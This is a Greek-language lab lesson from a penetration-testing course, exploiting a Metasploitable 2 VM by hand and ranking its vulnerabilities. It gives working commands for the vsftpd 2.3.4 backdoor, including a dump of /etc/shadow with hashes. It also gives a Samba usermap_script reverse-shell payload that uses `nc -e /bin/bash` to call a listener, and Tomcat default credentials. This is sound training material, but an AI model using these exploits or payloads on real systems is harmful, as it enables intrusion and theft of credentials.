Αναζήτηση ευπαθειών — Καθοδηγούμενη επίδειξη
Έχετε τη λίστα της εβδομάδας 4. Την ξαναπαίρνουμε, την ταξινομούμε, την αποδεικνύουμε. Δύο ευπάθειες πέφτουν με το χέρι — χωρίς Metasploit — για να σας θυμίσουμε ότι το framework ποτέ δεν είναι απαραίτητο.
Όλες οι εντολές που ακολουθούν στοχεύουν το 10.10.10.20
(Metasploitable 2), στο δίκτυο host-only. Καμία δεν είναι νόμιμη
εκτός αυτού.
Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα
- Να περνάτε από την ακατέργαστη λίστα εκδόσεων σε έναν πίνακα ταξινομημένων ευπαθειών.
- Να διαβάζετε, να προσαρμόζετε και να εκτελείτε ένα exploit
searchsploitσε Python με ανοιχτά μάτια. - Να ρίχνετε το
vsftpd 2.3.4μεncκαι μεcurl— χωρίς Metasploit. - Να ρίχνετε το Samba (usermap script) με μια απλή γραμμή Python.
- Να διαπιστώνετε καθαρά με
curl -v, tcpdump και έναwhoamiστο απομακρυσμένο shell.
Βήμα 0 — Συγκεντρώνουμε τις εκδόσεις
Εξάγετε, από το ~/labs/semaine-04/scans/20-versions.nmap, τα ζεύγη
υπηρεσία/έκδοση. Αποτέλεσμα:
| Θύρα | Υπηρεσία | Έκδοση |
|---|---|---|
| 21 | vsftpd | 2.3.4 |
| 22 | OpenSSH | 4.7p1 |
| 25 | Postfix | 2.5.5 |
| 80 | Apache httpd | 2.2.8 |
| 139/445 | Samba | 3.0.20-Debian |
| 3306 | MySQL | 5.0.51a-3ubuntu5 |
| 3632 | distccd | v1 |
| 5432 | PostgreSQL | 8.3.0 |
| 6667 | UnrealIRCd | 3.2.8.1 |
| 8180 | Tomcat | 5.5 |
Δέκα γραμμές. Η καθεμία αξίζει να δοκιμαστεί. Ξεκινάμε με τις δύο πιο ενδιαφέρουσες.
Βήμα 1 — vsftpd 2.3.4: η κρυφή πόρτα του χαμόγελου
Αυτή η συγκεκριμένη έκδοση περιέχει μια κρυφή πόρτα που εισήχθη στον
πηγαίο κώδικα που δημοσιεύτηκε στον διακομιστή του έργου το 2011.
Οποιοσδήποτε στείλει ένα login που τελειώνει με :) πυροδοτεί το
άνοιγμα ενός shell root στη θύρα 6200.
1α. Ταξινόμηση με searchsploit
searchsploit "vsftpd 2.3.4"
Έξοδος:
--------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execu | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execu | unix/remote/17491.rb
--------------------------------------- ---------------------------------
Ας δούμε το Python script:
searchsploit -m 49757
head -50 49757.py
Απόσπασμα:
import socket
def exploit(ip):
s1 = socket.socket()
s1.connect((ip, 21))
print(s1.recv(1024))
s1.send(b"USER pwn:)\n")
s1.send(b"PASS pwn\n")
s2 = socket.socket()
s2.connect((ip, 6200))
print("[+] Shell opened on port 6200, type command:")
...
Καταλαβαίνουμε το POC. Μπορούμε ακόμη και να το ξανακάνουμε πιο απλά, χωρίς script, για να δούμε καλά τι συμβαίνει.
1β. Αναπαραγωγή με το χέρι μέσω nc
Σε ένα πρώτο τερματικό, στέλνουμε τα παγιδευμένα διαπιστευτήρια:
nc 10.10.10.20 21
Μόλις συνδεθείτε, πληκτρολογήστε:
USER exploit:)
PASS whatever
Μην κλείσετε τη σύνδεση.
Σε ένα δεύτερο τερματικό, συνδεθείτε στη θύρα 6200:
nc 10.10.10.20 6200
Λαμβάνετε μια σιωπηλή προτροπή. Πληκτρολογήστε:
id
Απάντηση:
uid=0(root) gid=0(root)
Root, χωρίς κωδικό. Σε δύο nc, χωρίς Metasploit.
Καταγράψτε την απόδειξη:
# Στο απομακρυσμένο shell:
uname -a
hostname
cat /etc/shadow | head -5
Έξοδος:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
metasploitable
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
Αποθηκεύστε στο ~/labs/semaine-05/preuves/vsftpd-shadow.txt. Έχετε
το /etc/shadow. Πλήρης παραβίαση.
1γ. Τελική ταξινόμηση
Στο preuves/vsftpd-fiche.md:
# Ευπάθεια — κρυφή πόρτα vsftpd 2.3.4
- CVE: CVE-2011-2523
- CVSS Base: 10.0 (πρόσβαση χωρίς αυθεντικοποίηση, εκτέλεση κώδικα εξ αποστάσεως)
- CVSS Environmental (lab): 10.0 (εκτεθειμένο, καμία προστασία)
- EPSS: 0.94
- KEV: Όχι (ιστορικό, αλλά πλήρως εκμεταλλευμένο στο παρελθόν)
## Απόδειξη
- Στόχος: 10.10.10.20
- Πλήρες ίχνος: preuves/vsftpd-session.log
- Εντολές που εκτελέστηκαν: nc 10.10.10.20 21 μετά nc 10.10.10.20 6200
- Λογαριασμός που αποκτήθηκε: root (UID 0)
- Εξαχθέντα αρχεία: /etc/shadow (βλ. preuves/vsftpd-shadow.txt)
## Σύσταση
Ενημερώστε άμεσα το vsftpd (>= 3.0). Αυτή η παραβιασμένη έκδοση δεν
πρέπει πλέον να βρίσκεται σε παραγωγή. Υπολογίστε περίπου 2 ώρες για τη
μετάβαση.
Βήμα 2 — Samba usermap_script (CVE-2007-2447)
Οι εκδόσεις Samba 3.0.20 έως 3.0.25rc3 περιέχουν ένα ελάττωμα στην
παράμετρο username map script. Ένα όνομα χρήστη που περνά στη
διαδικασία αυθεντικοποίησης εκτελείται ως εντολή shell από ένα
κακώς διαφυγόμενο lambda wrapper.
2α. Ταξινόμηση
searchsploit "samba 3.0.20"
Έξοδος:
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script | unix/remote/16320.rb
Samba 3.0.20 < 3.0.25rc3 - Username Map Script | unix/remote/60106.py
Ας δούμε το Python script:
searchsploit -m 60106
cat 60106.py
Πυρήνας του exploit:
import socket
from smb.SMBConnection import SMBConnection
def exploit(target, lhost, lport):
payload = f'/=`nohup nc -e /bin/bash {lhost} {lport}`'
conn = SMBConnection(payload, "", "attacker", target)
conn.connect(target, 139)
Ένας φορτωτής SMB, ένα username που περιέχει μια εντολή shell, ένα reverse shell στο όνομα. Μπορούμε να το κάνουμε ακόμη πιο απλά.
2β. Αναπαραγωγή με ένα ελάχιστο Python script
# ~/labs/semaine-05/samba_pwn.py
import socket
LHOST = "10.10.10.5"
LPORT = "4444"
TARGET = "10.10.10.20"
TARGET_PORT = 139
payload = f"/=`nohup nc -e /bin/bash {LHOST} {LPORT}`"
def send_smb_username(target, port, username):
"""Στέλνει ένα πακέτο SMB Session Setup του οποίου το username είναι παγιδευμένο.
Το shell πυροδοτείται μέσα στο ίδιο το username."""
negotiate = bytes.fromhex(
"00000031ff534d4272000000001843c800000000000000000000000000004000"
"1cd812000200004e5420574d20706b31200000024f532f3200"
)
session_setup_template = (
b"\x00\x00\x00\x63" # header SMB
b"\xffSMBs\x00\x00\x00"
)
body = username.encode() + b"\x00"
s = socket.socket()
s.connect((target, port))
s.send(negotiate)
s.recv(1024)
# session setup με παγιδευμένο username (απλοποιημένο για την επίδειξη)
s.send(session_setup_template + body)
print(s.recv(1024)[:80])
# Στην πράξη, χρησιμοποιήστε ένα script Impacket που το κάνει καθαρά:
# python3 60106.py <target> <lhost> <lport>
Στην πράξη, το καλύτερο: το .py του Exploit-DB λειτουργεί όπως είναι.
Εκτελούμε:
Σε ένα πρώτο τερματικό:
nc -lvnp 4444
Σε ένα δεύτερο:
python3 60106.py 10.10.10.20 10.10.10.5 4444
Βλέπετε να εμφανίζεται, στο πρώτο τερματικό:
listening on [any] 4444 ...
connect to [10.10.10.5] from (UNKNOWN) [10.10.10.20] 45632
Πληκτρολογήστε:
id
whoami
uname -a
Απάντηση:
uid=0(root) gid=0(root)
root
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Δεύτερο shell root, αποκτημένο από άλλη πόρτα, με άλλο εργαλείο. Σε πραγματικό στόχο, η διάθεση δύο ανεξάρτητων δρόμων είναι πολυτέλεια: αν ο ένας κλείσει κατά τη διάρκεια της αποστολής, ο άλλος παραμένει.
2γ. Ταξινόμηση
# Ευπάθεια — Samba usermap_script (CVE-2007-2447)
- CVE: CVE-2007-2447
- CVSS Base: 6.0 (απαιτείται auth στο πρωτόκολλο, αλλά username = shell)
- CVSS Environmental: 9.8 (η θύρα είναι εκτεθειμένη, γίνεται δεκτή null session)
- EPSS: 0.72
- KEV: Όχι
## Απόδειξη
- Στόχος: 10.10.10.20
- Exploit που χρησιμοποιήθηκε: Exploit-DB #60106 (προηγούμενη ανάγνωση, καμία κρυφή πόρτα)
- Reverse shell: 10.10.10.5:4444
- Λογαριασμός που αποκτήθηκε: root
- Ίχνος: preuves/samba-nc-session.log
## Σύσταση
Ενημερώστε το Samba (>= 3.0.25rc3). Η εγκατεστημένη έκδοση είναι
end-of-life από το 2011. Προβλέψτε επίσης την απενεργοποίηση του
SMBv1 (βλ. εβδομάδα 1).
Βήμα 3 — Nikto στο Apache 2.2.8
Εκτελούμε μια σάρωση web για να δούμε τι λέει η ιστοσελίδα
http://10.10.10.20/:
nikto -h http://10.10.10.20 -Format txt -o ~/labs/semaine-05/preuves/nikto-20.txt
Επιλεγμένο απόσπασμα (τα πραγματικά ευρήματα μέσα στον θόρυβο):
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54).
+ Uncommon header 'tcn' found, with contents: list
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc.
+ /icons/: Directory indexing found.
+ /phpMyAdmin/: phpMyAdmin directory found.
+ /twiki/bin/view/Main/WebHome: Twiki, may contain many vulnerabilities.
+ /tikiwiki-old/: Old TikiWiki install found.
Αυτά που ταξινομούμε αμέσως:
phpinfo.php— εκθέτει την πλήρη ρύθμιση PHP, συχνά μονοπάτια και εκδόσεις./phpMyAdmin/— πάνελ διαχείρισης MySQL. Αν οι λογαριασμοί είναι αδύναμοι, πιθανό RCE./tikiwiki-old/— παρωχημένη εγκατάσταση. Το TikiWiki έχει πολλαπλά CVE.
Ανοίγουμε το phpinfo.php (curl http://10.10.10.20/phpinfo.php),
σημειώνουμε την έκδοση PHP (5.2.4) και τα μονοπάτια. Σημειώνουμε για
μελλοντικές επιθέσεις:
- phpinfo.php εκτεθειμένο — διαρροή πληροφορίας (P2).
- phpMyAdmin εκτεθειμένο στο /phpMyAdmin/ — δοκιμή λεξικών (P2).
- tikiwiki-old — αναζήτηση CVE (πιθανό P1).
Παγίδα Nikto: η γραμμή Uncommon header 'tcn' είναι αληθές θετικό
αλλά χωρίς exploit — είναι ψευδώς θετικό για έναν pentester. Το
αγνοούμε στην αναφορά.
Βήμα 4 — Nuclei σε πιο σύγχρονο στόχο
Για την επίδειξη, παίρνουμε έναν εξουσιοδοτημένο στόχο όπως το Damn Vulnerable Web Application ή απλώς τη θύρα 8180 (Tomcat) του ίδιου VM.
nuclei -u http://10.10.10.20:8180 -tags cve,exposure -severity high,critical
Τυπική έξοδος:
[apache-tomcat-manager] [http] [medium] http://10.10.10.20:8180/manager/html
[apache-tomcat-default-login] [http] [high] http://10.10.10.20:8180/manager/html
Το nuclei εντόπισε ένα πάνελ διαχείρισης Tomcat με προεπιλεγμένο
login (tomcat:tomcat). Είναι άμεση πρόσβαση στον διακομιστή: το
Tomcat manager επιτρέπει την ανάπτυξη ενός WAR, και ένα WAR = ένα
JSP = κώδικας Java που τρέχει στον διακομιστή.
Χειροκίνητη επιβεβαίωση:
curl -u tomcat:tomcat http://10.10.10.20:8180/manager/html | head -20
Έξοδος: το πάνελ HTML. Πρόσβαση επιβεβαιωμένη. Προς εκμετάλλευση στην ενότητα 7 (ανάπτυξη κακόβουλου WAR για RCE).
Βήμα 5 — Συγκέντρωση σε ιεραρχημένο πίνακα
Ανοίξτε το ~/labs/semaine-05/rapport/vulnerabilites.md:
# Ταξινομημένες ευπάθειες — Lab εβδομάδα 5
## Στόχος 10.10.10.20 (Linux)
| ID | Υπηρεσία | CVE | Base | Env. | EPSS | KEV | Κατάσταση | Απόδειξη |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | vsftpd 2.3.4 | CVE-2011-2523 | 10.0 | 10.0 | 0.94 | όχι | **εκμεταλλευμένη** | preuves/vsftpd-* |
| P1b | Samba 3.0.20 | CVE-2007-2447 | 6.0 | 9.8 | 0.72 | όχι | **εκμεταλλευμένη** | preuves/samba-* |
| P1c | UnrealIRCd 3.2.8.1 | CVE-2010-2075 | 9.8 | 9.8 | 0.85 | όχι | προς εξέταση | — |
| P1d | distccd | CVE-2004-2687 | 9.3 | 9.3 | 0.60 | όχι | προς εξέταση | — |
| P1e | Tomcat manager (προεπιλεγμένα creds) | — | 8.8 | 8.8 | — | — | προς εξέταση (Ε7) | preuves/nuclei-tomcat.txt |
| P2a | MySQL 5.0.51a | πολλαπλά | 6.0 | 6.0 | 0.30 | όχι | προς έλεγχο | — |
| P2b | phpMyAdmin εκτεθειμένο | — | 5.0 | 5.0 | — | — | brute force | — |
| P3a | phpinfo.php εκτεθειμένο | — | 4.0 | 4.0 | — | — | διαρροή πληροφορίας | preuves/phpinfo.txt |
| P4a | Apache 2.2.8 παρωχημένο | πολλαπλά | — | 3.0 | — | — | ενημέρωση | — |
## Στόχος 10.10.10.12 (Windows)
| ID | Υπηρεσία | CVE | Base | Env. | EPSS | KEV | Κατάσταση |
| -- | --- | --- | --- | --- | --- | --- | --- |
| P1w | SMBv1 EternalBlue | CVE-2017-0143 | 8.1 | 9.8 | 0.98 | **ΝΑΙ** | **εκμεταλλευμένη Ε1** |
Αυτός ο πίνακας είναι η εβδομάδα σας. Κάθε γραμμή οδηγεί σε μια επόμενη ενότητα: το P1c σε ένα mini-exploit Perl, το P1e στην ενότητα 7 (ανάπτυξη WAR), το P2a στην ενότητα 9 (dumping MySQL), το P2b στην ενότητα 6 ή 8 (brute force ή Metasploit).
Απολογισμός
Σε 60 λεπτά:
- Ταξινομήσατε 9 ευπάθειες σε έναν μόνο στόχο.
- Εκμεταλλευτήκατε 2 με το χέρι, χωρίς framework, με σαφείς αποδείξεις.
- Εντοπίσατε 1 κρίσιμη έκθεση Tomcat μέσω του
nuclei. - Έχετε έναν ιεραρχημένο πίνακα εκμεταλλεύσιμο σε συνάντηση.
Αυτός ο πίνακας είναι το πραγματικό παραδοτέο της εβδομάδας 5. Είναι αυτό που περνάει στην τελική αναφορά. Είναι αυτό που αποδεικνύει ότι κάνατε τη δουλειά σας.
Επόμενο μάθημα: η σειρά σας. Παίρνετε τις υπόλοιπες ευπάθειες, ταξινομείτε τρεις, εκμεταλλεύεστε τουλάχιστον μία με το χέρι.